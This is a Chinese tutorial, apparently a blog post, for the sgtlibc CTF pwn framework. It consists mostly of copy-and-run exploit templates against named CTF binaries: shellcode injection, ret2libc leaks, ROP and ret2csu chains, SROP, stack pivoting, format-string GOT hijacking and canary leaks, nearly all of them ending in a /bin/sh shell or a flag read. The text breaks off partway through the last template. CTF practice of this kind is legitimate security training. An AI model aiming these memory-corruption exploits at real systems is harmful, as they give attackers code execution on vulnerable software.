CTF比赛PWN题sgtlibc通用快速解题框架

CTF比赛PWN题sgtlibc通用快速解题框架

安装

开源地址:https://github.com/serfend/sgtlibc

使用 pip install sgtlibc -U 安装pwn解题框架

示例demo

目前收集了一些栈溢出上的通用解题框架,基本上对于简单题可以做到稍加修改配置即可解题,以实现1分钟得到flag效果。

  • libc泄露模板

image-20220615110400600

说明

  • 模板可以在github-pwn下载原始文件
  • 通常对于栈溢出的题,找到溢出点以后双击其buffer得到栈结构。观察得到r(return address)之前的长度。
    • image-20220615110649571
    • 将该长度填写到模板中相应位置,通常是 exp()中的b’a’ * [这里写长度]即可。
  • 注意有的题main函数没有符号,导致无法通过 elf.symbols[‘main’]获取的,可以是在ida中找到入口函数地址,复制其值
    • main_addr = elf.symbols['main']改为 main_addr = 0x这里写地址 即可
  • 在libc2.27版本以后,栈溢出需要检查栈是否平衡,可以是在返回地址前面加上一个 payload += [elf.rop['ret']]以解决。
  • 有时候题目会有一些输出,需要使用sla(sendlineafter)或ru(receive until)等方式将这些值过滤掉,以得到需要的数据。

模板

以下是一些可以修改一些参数即可立马运行的模板,业内称之为板子,1分钟交flag不是梦。

shellcode_binbash_x86

例题:buuctf start

import sgtlibc
import sgtlibc.utils
import sgtlibc.utils.shell
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
    is_local=True,
    file='./start',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
pause()
read_addr = 0x08048087 # 再次读入
padding = 0x48 - 0x34 # 判断返回地址到输入值的偏移
sa(b':', [b'a' * padding, read_addr])
stack_addr = u00(rc(4))
print(f'stack_addr:{hex(stack_addr)}')
shellcode = sgtlibc.utils.shell.shellcode86()
payload = [b'a' * padding]
payload += [stack_addr + padding] # 返回地址为shellcode开头位置
payload += [shellcode]
se(payload)
interactive()

system_bss_binsh_direct_x64

import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
    is_local=False,
    file='./pwn',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf

canary = b''


def exp():
    # overflow position
    data = [b'a' * (672),fakeebp()]
    return data


bss_align20_addr = 0x00601079
payload = exp()
payload += [elf.rop['rdi'], bss_align20_addr, elf.plt['gets']]
payload += [elf.rop['rdi'], bss_align20_addr, elf.plt['system']]
pause()
sl(payload)
sl(b'/bin/sh\x00')
interactive()

shellcode_orw_x86

例题:buuctf pwnable_orw

from sgtlibc.gamebox import *
import sgtlibc
from argparse import ArgumentError
from typing import Callable
from sgtpyutils.logger import logger

set_config(GameBoxConfig(
    is_local=False,
    file='./orw',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))


s = sgtlibc.Searcher()
elf = client.elf

sh = shellcraft.open('flag')
sh += shellcraft.read('eax','esp',100)
sh += shellcraft.write(1,'esp',100)
sh = asm(sh)
sl(sh)

interactive()

libc-leak_x86_puts

例题:ctfshow ret2libc_64 内部赛_签到题

import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
    is_local=True,
    file='./5afea37c3946a',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
pause()

canary = b''


def exp():
    # overflow position
    data = [b'a' * (136),fakeebp()]
    return data


main_addr = 0x0804859D # elf.symbols['main']
plt_write = elf.plt['puts']


def leak(func: str):
    log.info(f'start leak {func}')
    payload = exp()
    payload += [plt_write, main_addr, elf.got[func]]
    # 如果是read的话则sa,如果是gets scanf的话则sl
    sla('information: ',payload)
    # 清空输出
    # ru('Hello,')
    # rl()
    data = rc(4)  # 32位接收4个
    data = u00(data)
    log.info(f'leak {func}:{hex(data)}')
    s.add_condition(func, data)
    pause()
    return data


# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
# leak('printf')
leak('puts')
# leak('stdout')
# leak('stdin')
leak('__libc_start_main')

# 如果给了libc则可以直接使用
# libc = ELF('libc_buu-2.23_x64.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset

data = s.dump(db_index=0)  # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')

ret_addr = elf.rop['ret']  # 栈平衡
payload = [exp(), ret_addr]
payload += [system_addr, fakeebp(), binsh_addr]
sl(payload)
interactive()

libc-leak_x86_write_pure

例题:buuctf jarvisoj_level1


libc-leak_x86_write_with_bss

例题:buuctf [Black Watch 入群题]PWN

import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.gamebox
from sgtlibc.utils.shell import check_shell_validate
import sgtlibc.ROPgadgets
import os

set_config(GameBoxConfig(
    is_local=False,
    file='./level1',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))

s = sgtlibc.Searcher()
elf = client.elf

plt_write = elf.plt['write']  # write()
main_addr = elf.symbols['main']  # elf.symbols['vuln']


canary = b''


def exp():
    # overflow position
    data = [b'a' * (136),fakeebp()]
    return data


pause()


def leak(func: str):
    log.info(f'start leak {func}')
    payload = exp()
    # write(1,buffer,4)
    payload += [plt_write, main_addr]
    payload += [1, elf.got[func], 4]
    # 如果是read的话则sa,如果是gets scanf的话则sl
    se(payload)

    data = rc(4)  # 32位接收4个
    data = u00(data)
    s.add_condition(func, data)
    log.info(f'leak {func} : {hex(data)}')
    return data


# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
addr = leak('__libc_start_main')
# leak('strlen')
leak('write')
# leak('setbuf')

# 如果给了libc则可以直接使用
# libc = ELF('libc_buu-2.23_x86.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset

# 再次利用payload,溢出执行system


def filter(x):
    return True
    return 'ubuntu' in x


data = s.dump(db_index=0, filter=filter)
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)

log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
pause()
ret_addr = elf.rop['ret']  # 栈平衡
payload = [exp(), ret_addr]
payload += [system_addr, fakeebp(), binsh_addr]
se(payload)

interactive()

注意例题中存在一些交互判断,需要将判断通过(修改what is your name等的接收)

libc-leak_x64_puts

例题:buuctf ret2text

import sgtlibc
from sgtlibc.gamebox import *
from sgtlibc.utils import shell
from sgtlibc.ROPgadgets.gadgets_exploit import gadget_by_csu
set_config(GameBoxConfig(
    is_local=True,
    file='./bypwn',
    remote='192.168.2.107:9999',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf


def exp():
    payload_exp = [b'a' * (128), fakeebp()]  # overflow position
    payload_exp += [[elf.rop['ret']] * 1]
    return payload_exp

main_addr = 0x04006D2  # elf.symbols['main']


def leak(func: str):
    log.warning(f'start leak {func}')

    payload = [exp(), elf.rop['rdi'], elf.got[func],
               elf.plt['puts']]
    payload += [[elf.rop['ret']] * 3]
    payload += [main_addr]
    sla('EASY PWN PWN PWN~', payload)

    # ru('input:\n')
    interactive()
    # ru(fakeebp())  # 如果有输出则清空缓存
    rl()
    data = rc(6).ljust(8, b'\0')
    data = u00(data)
    log.info(f'leak {func}:{hex(data)}')
    s.add_condition(func, data)
    return data


pause()
# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
# leak('printf')
leak('puts')
# leak('stdout')
# leak('stdin')
leak('__libc_start_main')


# 如果给了libc则可以直接使用
# libc = ELF('libc_buu-2.23_x64.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset

data = s.dump(db_index=1)  # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
ret_addr = elf.rop['ret']  # sometime maybe wrong
payload = [exp(), [ret_addr]*1]  # 栈平衡
payload += [elf.rop['rdi'], binsh_addr, system_addr]
sl(payload)
interactive()

libc-leak_x64_write

例题:buuctf level3_x64


retcsu_x64_leak_libc

例题:pwnthebox ret2libc_64

import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
    is_local=True,
    file='./ret2libc_64',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf

canary = b''


def exp():
    # overflow position
    data = [b'a' * (136),fakeebp()]
    return data


main_addr = elf.symbols['main']


def leak(func: str):
    log.info(f'start leak {func}')
    payload = exp()
    # write(1,buffer,8)
    payload += [elf.rop['rdi'], 1]
    payload += [elf.rop['rsi_r15'], elf.got[func], 0]  # csu必然有
    payload += [elf.rop['rdx'], 8]
    payload += [elf.plt['write']]
    payload += [main_addr]
    # 如果是read的话则sa,如果是gets scanf的话则sl
    sl(payload)
    rl()
    data = rc(6).ljust(8, b'\0')
    log.info(f'leak {func}:{data}')
    data = u00(data)
    s.add_condition(func, data)
    return data


# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
# leak('printf')
leak('gets')
# leak('stdout')
# leak('stdin')
leak('__libc_start_main')

# 如果给了libc则可以直接使用
# libc = ELF('libc_buu-2.23_x64.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset

data = s.dump(db_index=0)  # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')


payload = exp()
payload += [[elf.rop['ret']] * 1]  # 栈平衡
payload += [elf.rop['rdi'], binsh_addr]
payload += [system_addr]
sl(payload)
interactive()

retcsu_x64_with_syscall59

例题:buuctf ciscn_s_3

import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
    is_local=True,
    file='./ciscn_s_3',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))

s = sgtlibc.Searcher()
elf = client.elf

main_addr = elf.symbols['main']
csu_init_addr = elf.symbols['__libc_csu_init']

rax_59_ret = 0x04004E2
syscall = 0x0400517
payload = [b'a' * 16, main_addr]
# gdb.attach(client.client, 'b 0x0400501')
pause()
sl(payload)
rc(0x20)  # buf size
stack_addr = u00(rc(6))  # leak current ebp

# binsh_addr = stack_addr - 0x138  # 线上则是0x138 # esp - ebp
binsh_addr = stack_addr - 0x148  # 本地运行需要 -0x148
rax_59 = binsh_addr + 0x10
pop_rdi = 0x04005a3
log.info(f'stack_addr:{hex(stack_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
log.info(f'rax_59:{hex(rax_59)}')


payload = []
payload += [b'/bin/sh\x00', fakeebp(), rax_59_ret]
d = gadgets.gadget_by_csu(
    libc_csu_init_address=csu_init_addr,
    func_to_call=rax_59,
    param1=0,
    param2=0,
    param3=0
)
payload += [gadgets.build(d)]  # set rax to 59
payload += [pop_rdi, binsh_addr]
payload += [syscall]
# syscall_59 (binsh)
sl(payload)
interactive()

orw-x64-puts by_func

import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
set_config(GameBoxConfig(
    is_local=True,
    file='./ret2dlresolve',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))

s = sgtlibc.Searcher()
elf = client.elf
rop = ROP(elf)

libc_path = '/lib/x86_64-linux-gnu/libseccomp.so.2'
flag_path = './flag\x00\x00'
bss_addr = 0x601800
main_addr = elf.symbols['main']
file_description = 3  # 需要根据当前fd值修改


def exp():
    # overflow position
    data = [b'a' * (16), fakeebp()]
    return data




def leak(func: str):
    log.warning(f'start leak {func}')

    payload = [exp(), elf.rop['rdi'], elf.got[func],
               elf.plt['puts']]
    payload += [[elf.rop['ret']] * 1]
    payload += [main_addr]
    sa(b'welcome\n', payload)
    # ru('input:\n')
    # ru(fakeebp())  # 如果有输出则清空缓存
    data = rc(6).ljust(8, b'\0')
    data = u00(data)
    log.info(f'leak {func}:{hex(data)}')
    s.add_condition(func, data)
    return data


# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
addr = leak('puts')

libc = sgtlibc.ROPgadgets.ELF(libc_path, checksec=False)
libc.get_rop()

puts_libc_addr = libc.symbols['puts']
offset = addr - libc.symbols['puts']
open_addr = libc.symbols['open'] + offset
write_addr = libc.symbols['write'] + offset
success(f'write_addr:{hex(write_addr)}')
success(f'open_addr:{hex(open_addr)}')


def exp_control_rdirsirdx(rdi: int, rsi: int, rdx: int, r15: int = 0):
    payload = []
    payload += [elf.rop['rdi'], rdi]
    payload += [elf.rop['rsi_r15'], rsi, r15]  # csu必然有
    payload += [libc.rop['rdx'] + offset, rdx]
    return payload


payload = exp()

# 写入flag字符串到bss
payload += exp_control_rdirsirdx(0, bss_addr, len(flag_path))
payload += [elf.plt['read']]

# 打开flag文件
payload += exp_control_rdirsirdx(bss_addr, 0, 0)
payload += [open_addr]

# 读取flag内容
payload += exp_control_rdirsirdx(file_description, bss_addr, 0x100)
payload += [elf.plt['read']]

# 打印flag
payload += exp_control_rdirsirdx(1, bss_addr, 0x100)
payload += [write_addr]

se(payload)

sleep(0.5)
se(flag_path)
interactive()

orw-x64-puts by_syscall

import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
set_config(GameBoxConfig(
    is_local=True,
    file='./ret2dlresolve',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))

s = sgtlibc.Searcher()
elf = client.elf
rop = ROP(elf)

libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --multibr | grep 'syscall ; ret'
syscall_addr = 0x000058dba

flag_path = './flag\x00\x00'
bss_addr = 0x601800
main_addr = elf.symbols['main']
file_description = 3  # 需要根据当前fd值修改


def exp():
    # overflow position
    data = [b'a' * (16), fakeebp()]
    return data


def leak(func: str):
    log.warning(f'start leak {func}')

    payload = [exp(), elf.rop['rdi'], elf.got[func],
               elf.plt['puts']]
    payload += [[elf.rop['ret']] * 1]
    payload += [main_addr]
    sa(b'welcome\n', payload)
    # ru('input:\n')
    # ru(fakeebp())  # 如果有输出则清空缓存
    data = rc(6).ljust(8, b'\0')
    data = u00(data)
    log.info(f'leak {func}:{hex(data)}')
    s.add_condition(func, data)
    return data


# 注意:泄露的函数应在泄露之前至少执行过一次,否则函数地址不准确
addr = leak('puts')

libc = sgtlibc.ROPgadgets.ELF(libc_path)
libc.get_rop(show_banner=False)

pause()
puts_libc_addr = libc.symbols['puts']
offset = addr - libc.symbols['puts']


def exp_control_rdirsirdx(rdi: int, rsi: int, rdx: int, r15: int = 0):
    payload = []
    payload += [elf.rop['rdi'], rdi]
    payload += [elf.rop['rsi_r15'], rsi, r15]  # csu必然有
    payload += [libc.rop['rdx'] + offset, rdx]
    return payload


payload = exp()

# 写入flag字符串到bss
payload += exp_control_rdirsirdx(0, bss_addr, len(flag_path))
payload += [elf.plt['read']]
# 64位syscall 0:read 1:write 2:open
# 32位int 3:read 4:write 5:open

# 打开flag文件
open_syscall = 2
payload += [libc.rop['rax']+offset, open_syscall]
payload += exp_control_rdirsirdx(bss_addr, 0, 0)
payload += [syscall_addr+offset]

# 读取flag内容
payload += exp_control_rdirsirdx(file_description, bss_addr, 0x100)
payload += [elf.plt['read']]


# 打印flag
write_syscall = 1
payload += [libc.rop['rax']+offset, write_syscall]
payload += exp_control_rdirsirdx(1, bss_addr, 0x100)
payload += [syscall_addr+offset]

se(payload)

sleep(0.5)
se(flag_path)
interactive()

rop int80 -x86/x64

import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
import os


set_config(GameBoxConfig(
    is_local=True,
    file='./simplerop',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf

pause()
read_addr = 0x0806CD50
binsh_addr = 0x080EB564

canary = b''


def exp():
    # overflow position
    data = [b'a' * (136),fakeebp()]
    return data


# 如果是64位
# 寄存器:rax rbx rcx rdx 
# 系统调用  int80(3) === write
#          int80(11) === execve
# 如果是32位
# eax ebx ecx edx
# 系统调用 syscall(0) === write
#          syscall(59) === execve

payload = exp()
# read(0,binsh,8)
# payload += [read_addr] # 题目有read则直接用
payload += [elf.rop['eax'], 3]  # 没有的话则用int80(3)===read调用
payload += [elf.rop['edx_ecx_ebx'], 8, binsh_addr, 0]
payload += [elf.rop['int_80']]


# int11 -> execve(binsh,0,0)
payload += [elf.rop['eax'], constants.SYS_execve]
payload += [elf.rop['edx_ecx_ebx'], 0, 0, binsh_addr]
payload += [elf.rop['int_80']]


sl(payload)
sl(b'/bin/sh\x00')

interactive()

rop bss_move_pointer HARD

import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
    is_local=True,
    file='./ciscn_s_8',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))

s = sgtlibc.Searcher()
elf = client.elf


def encode(s: bytes):
    res = b''
    for i in range(len(s)):
        res += (s[i] ^ 0x66).to_bytes(1, 'little')
    return res

# 基于move [rxx], rxx 实现直接传入/bin/sh

bss = 0x06BD000  # 取一个没有被使用的区域
mov_rax_inrsi = 0x47f7b1 # 注意需要找一个后续会控制的寄存器

payload = p00(elf.rop['rsi']) + p00(bss)
payload += p00(elf.rop['rax']) + b'//bin/sh'  # padding to 8 bytes
payload += p00(mov_rax_inrsi)  # 找一个 mov [rsi], rax
payload += p00(elf.rop['rdi']) + p00(bss) # /bin/sh to bss 
payload += p00(elf.rop['rdx_rsi']) + p00(0) * 2
payload += p00(elf.rop['rax']) + p00(0x3B) + p00(elf.rop['syscall_rdx_rsi'])

ru("Please enter your Password: \n")
payload = b'a'*0x50 + encode(payload)
sl(payload)
interactive()

stack migration to memory-x64

import sgtlibc
import sgtlibc.utils.shell
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
    is_local=True,
    file='./test',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf

payload = []
align_len = 0x100  # 用于迁移后的rop
bss_addr = 0x00601800 - align_len - 8  # 直接用固定值0x601800,页对齐有0x1000可用
main_addr = 0x04006D2  # elf.symbols['main']


def migration():
    sla('how long is your name: ', str(0x200))  # 该题是要求输入可用大小
    sa('and what\'s you name? ', [b'a' * 128,
       bss_addr, elf.rop['leave']])  # 使用leave完成栈迁移
    sla('how long is your name: ', str(0x200))  # 该题是要求输入可用大小


def exp():
    return [b'a' * align_len]


def leak(func: str):
    migration()

    log.warning(f'start leak {func}')
    payload = [exp()]  # 寻找一个直接ret的函数
    # payload += [[0] * 0x15] # 地址过低导致旁边有got表,通过此升栈以避开
    payload += [elf.rop['rdi'], elf.got[func], elf.plt['printf'], main_addr]
    # sla(b' input\n',payload)

    sa(b'and what\'s you name? ', payload)
    # sl(payload)
    # ru(fakeebp())  # 如果有输出则清空缓存

    data = rc(6).ljust(8, b'\0')
    log.info(f'data:{data}')
    data = uc(data)
    log.warning(f'leak {func}:{hex(data)}')
    s.add_condition(func, data)
    return data


pause()
# leak('printf')
leak('printf')
# leak('stdout')
# leak('stdin')
leak('__libc_start_main')

# libc = ELF('libc_buu-2.23_x64.so', checksec=False)
# offset = addr - libc.symbols['__libc_start_main']
# system_addr = libc.symbols['system'] + offset
# binsh_addr = next(libc.search(b'/bin/sh')) + offset

data = s.dump(db_index=3)  # choose your system index
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')
ret_addr = elf.rop['ret']  # sometime maybe wrong
payload = exp()  # + p00(ret_addr)  # 栈平衡
payload += [elf.rop['rdi'], binsh_addr, system_addr]
sl(payload)
migration()
interactive()

stack-migration to stack-x86

import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
import os

set_config(GameBoxConfig(
    is_local=True,
    file='./ciscn_s_4',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf

pause()
# 栈迁移:泄露ebp或某个既定地址
buf_size = 40
payload = [b'a' * (buf_size-4), fakeebp()]  # 方便查看结尾
se(payload)  # read话用se , scanf 用sl
ru(fakeebp())
ebp = u00(rc(4))
buf_start = ebp - 0x38  # 查看发现ebp - buf_start = 0x38
log.info(f'ebp:{hex(ebp)}')
log.info(f'buf_start:{hex(buf_start)}')

system_addr = elf.plt['system']  # system要用plt,而不能用call

payload = [system_addr, fakeebp(), buf_start+12]
payload += [b'/bin/sh\x00']
payload = payload.ljust(buf_size, b'a')
payload += [buf_start-4]  # 因为rsp会++,所以buf-4
payload += [elf.rop['leave']]  # 使用leave重置栈继续执行
se(payload)
interactive()

SROP_syscall15

import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
    is_local=True,
    file='./ciscn_2019_es_7',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf

syscall_ret = elf.rop['syscall']
sigreturn_addr = 0x4004da  # mov rax,0x0f
# system_addr = 0x4004E2  # mov rax,0x3b

def exp():
    r = [b'/bin/sh\x00', b'a' * 8]  # 此题没有leave,所以只需要覆盖到s的位置即可
    ret_addr = elf.rop['ret']
    r += [ret_addr]  # 栈平衡
    return r


# 0x4004f1 # 此处注意不要切出当前函数,否则会导致抬栈从而覆盖之前写入的binsh
read_addr = elf.symbols['vuln']
payload = [exp(), read_addr]  # 返回到读取的地方
pause()
se(payload)

rc(32)  # 定位到系统地址位置
stack_addr = u00(rc(8))
binsh_addr = stack_addr - 0x128  # 注意,本地经常性比远程会多-0x10
log.success(f'stack:{hex(stack_addr)}')  # 泄露当前栈地址
log.success(f'stack:{hex(binsh_addr)}')

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = binsh_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

payload = exp()
payload += [sigreturn_addr, syscall_ret, bytes(sigframe)]
se(payload)

interactive()

format-string simple-x86

import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
set_config(GameBoxConfig(
    is_local=True,
    file='./fm',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf


def exec(payload):
    start_game()
    sl(payload)
    info = rl()
    return info

# 通过迭代寻找格式化字符串位置
offset = FmtStr(exec, numbwritten=0x10).offset
# 格式化字符串修改指定地址
g_x_addr = elf.symbols['x']
payload = fmtstr_payload(offset, {g_x_addr: 4})
start_game()
sl(payload)

interactive()

format-string hijack_got-x64

import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
    is_local=True,
    file='./pwn',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf


def exp(data: bytes):
    start_game()
    sla(b'input:\n', data)
    r = rl()
    return r


position = formats.exp_get_str_position(exp)


def hijack_func_to_main_addr():
    start_game()
    func_got = elf.got['memset']
    main_addr = 0x400aa0
    payload = fmtstr_payload(position, {func_got: main_addr})
    sla(b'input:\n', payload)


hijack_func_to_main_addr()

libc_main_start_position = 25
payload = f'%{libc_main_start_position}$p'
sla(b' input name:\n', payload)
address = rl()[8:20] # 字符串类型取其中的值
address = int(address, 16)
print('address', hex(address))
s.add_condition('__libc_start_main_ret', address)
s.dump(db_index=1)

system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')



def set_printf_to_system(system):
    printf_got_addr = elf.got['printf']
    x = system & 0xffffffff
    a = x & 0xffff
    a1 = printf_got_addr
    b = (x >> 16) & 0xffff
    b1 = printf_got_addr+2
    if(a > b):
        tmp = a
        a = b
        b = tmp
        tmp = a1
        a1 = b1
        b1 = tmp
    s = f"%{a}c%12$hn"
    s += f"%{(b-a)}c%13$hn"
    s = s.ljust(32, 'a')
    s = s.encode()
    s += p64(a1)
    s += p64(b1)
    return s


payload = set_printf_to_system(system_addr)
print(payload)
# payload = fmtstr_payload(position, {elf.got['printf']: system_addr})
# print(payload)
sl(payload)
sl(b'/bin/sh\x00')
interactive()

format-string leak-x64

import sgtlibc
from sgtlibc.gamebox import *
set_config(GameBoxConfig(
    is_local=True,
    file='./frm2-no-relro',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf

elf_base_position = 65
elf_base_offset = -0x126b
libc_main_start_position = 67

stack_position = -1  # 泄露栈地址
stack_offset = -0x8

def exp(data: bytes):
    start_game()
    sla(b'input:\n', data)
    r = rl()
    return r


# position = formats.exp_get_str_position(exp)
position = 6
pause()

def leak(offset2input_position: int, offset_addr: int = 0, alias: str = 'address') -> bytes:
    payload = f'aa.%{position+offset2input_position}$p'
    sla(b'input:\n', payload)
    ru(b'aa.')
    data_line = rl()
    address = int(data_line, 16)
    success(f'leak {alias} : {hex(address)}')
    return address + offset_addr


elf_base_addr = leak(elf_base_position, elf_base_offset, alias='elf_base')
libc_main_start_addr = leak(libc_main_start_position, alias='libc_main_start')
s.add_condition('__libc_start_main_ret', libc_main_start_addr)
s.dump(db_index=0)
system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
log.info(f'system_addr:{hex(system_addr)}')
log.info(f'binsh_addr:{hex(binsh_addr)}')

if stack_position>0:
    stack_addr = leak(stack_position, stack_offset, alias='stack')

payload = fmtstr_payload(position, {
    elf.got['printf'] + elf_base_addr: system_addr
},)
sl(payload)
sleep(0.5)
sl('/bin/sh|\x00')
interactive()

canary by format-and-leak-x86

import sgtlibc
from sgtlibc.gamebox import *
import sgtlibc.ROPgadgets
import os
set_config(GameBoxConfig(
    is_local=True,
    file='./pwn1',
    remote='192.168.2.0:8888',
    auto_load=True,
    auto_show_rop=True,
    auto_show_summary=True,
    auto_start_game=True,
    auto_load_shell_str=True,
    auto_show_symbols=True
))
s = sgtlibc.Searcher()
elf = client.elf
plt_write = elf.plt['puts']
main_addr = elf.symbols['main']

canary = b''


def exp_fmt(data: bytes):
    start_game()
    sla(b'your name:', data)
    rl()
    r = rc(20)
    print('line', r)
    return r


# position = formats.exp_get_str_position(exp_fmt)
position = 42  # formats.exp_get_str_position(exp_fmt)
log.info(f'position:{position}')
canary_pos = position - 11  # 发个aaaa,调试canary位置 - aaaa的位置 / size_arch
start_game()
sla(b'your name:', f'%{canary_pos}$p')
print('233', rl())  # 清空输出
canary = rc(10)  # canary is full-8bytes endwith 00
print(f'raw canary :{canary}')
canary = canary[2:10]
# canary = int(canary,16)
canary = bytes.fromhex(canary.decode())[::-1]  # little-indian
log.info(f'canary:{canary.hex()}')


def exp():
    # overflow position
    data = [b'a' * (100), canary, (b'' if not canary else fakeebp() * 3)]
    return data


def leak(func: str):
    log.info(f'leak:{func}')
    global canary
    # 泄露libc
    payload = exp()
    payload += [plt_write, main_addr, elf.got[func]]
    # 如果是read的话则sa,如果是gets scanf的话则sl
    sla('messages', payload)
    # log.info(f'clear:{rl()}') # 清空输出
    data = rl()[1:5]  # 此处直接接收
    # data = rc(4)  # 32位接收4个
    print('data', data.hex())
    data = uc(data)

    s.add_condition(func, data)
    print('leak', func, hex(data))
    return data


